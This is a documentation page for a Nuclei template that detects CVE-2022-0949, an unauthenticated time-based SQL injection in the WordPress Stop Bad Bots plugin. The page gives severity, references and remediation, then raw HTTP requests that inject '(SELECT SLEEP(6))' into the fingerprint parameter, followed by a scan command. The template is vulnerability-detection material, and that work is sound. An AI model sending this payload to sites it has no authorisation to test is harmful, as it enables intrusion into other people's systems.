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WordPress Stop Bad Bots <6.930 - SQL Injection

ID: CVE-2022-0949

Severity: critical

Author: theamanrawat

Tags: time-based-sqli,cve,cve2022,stopbadbots,wp-plugin,wp,unauth,wpscan,sqli,wordpress

Description

Section titled “Description”

WordPress Stop Bad Bots plugin before 6.930 contains a SQL injection vulnerability. The plugin does not properly sanitise and escape the fingerprint parameter before using it in a SQL statement via the stopbadbots_grava_fingerprint AJAX action, available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

Section titled “YAML Source”
id: CVE-2022-0949


info:
  name: WordPress Stop Bad Bots <6.930 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Stop Bad Bots plugin before 6.930 contains a SQL injection vulnerability. The plugin does not properly sanitise and escape the fingerprint parameter before using it in a SQL statement via the stopbadbots_grava_fingerprint AJAX action, available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: Fixed in version 6.930.
  reference:
    - https://wpscan.com/vulnerability/a0fbb79a-e160-49df-9cf2-18ab64ea66cb
    - https://wordpress.org/plugins/stopbadbots/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0949
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0949
    cwe-id: CWE-89
    epss-score: 0.04032
    epss-percentile: 0.92073
    cpe: cpe:2.3:a:stopbadbots:block_and_stop_bad_bots:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: stopbadbots
    product: block_and_stop_bad_bots
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,stopbadbots,wp-plugin,wp,unauth,wpscan,sqli,wordpress
variables:
  IP: '{{rand_ip("1.1.1.0/24")}}'


http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        X-Real-IP: {{IP}}
        Content-Type: application/x-www-form-urlencoded


        action=stopbadbots_grava_fingerprint&fingerprint=0
      - |
        @timeout 10s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        X-Real-IP: {{IP}}
        Content-Type: application/x-www-form-urlencoded


        action=stopbadbots_grava_fingerprint&fingerprint=(SELECT SLEEP(6))
      - |
        GET /wp-content/plugins/stopbadbots/assets/js/stopbadbots.js HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'status_code_2 == 200'
          - 'contains(body_3, "commentform")'
        condition: and
# digest: 4b0a004830460221008cef4fb7e6b45f3b0987e1f26adc4c7db103f879c8f437da41f777dcf7571cba022100a303b055f01ef71895f3d5dd8b6c940e25a04f16b6e3c8380a93d228de331453:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0949.yaml"

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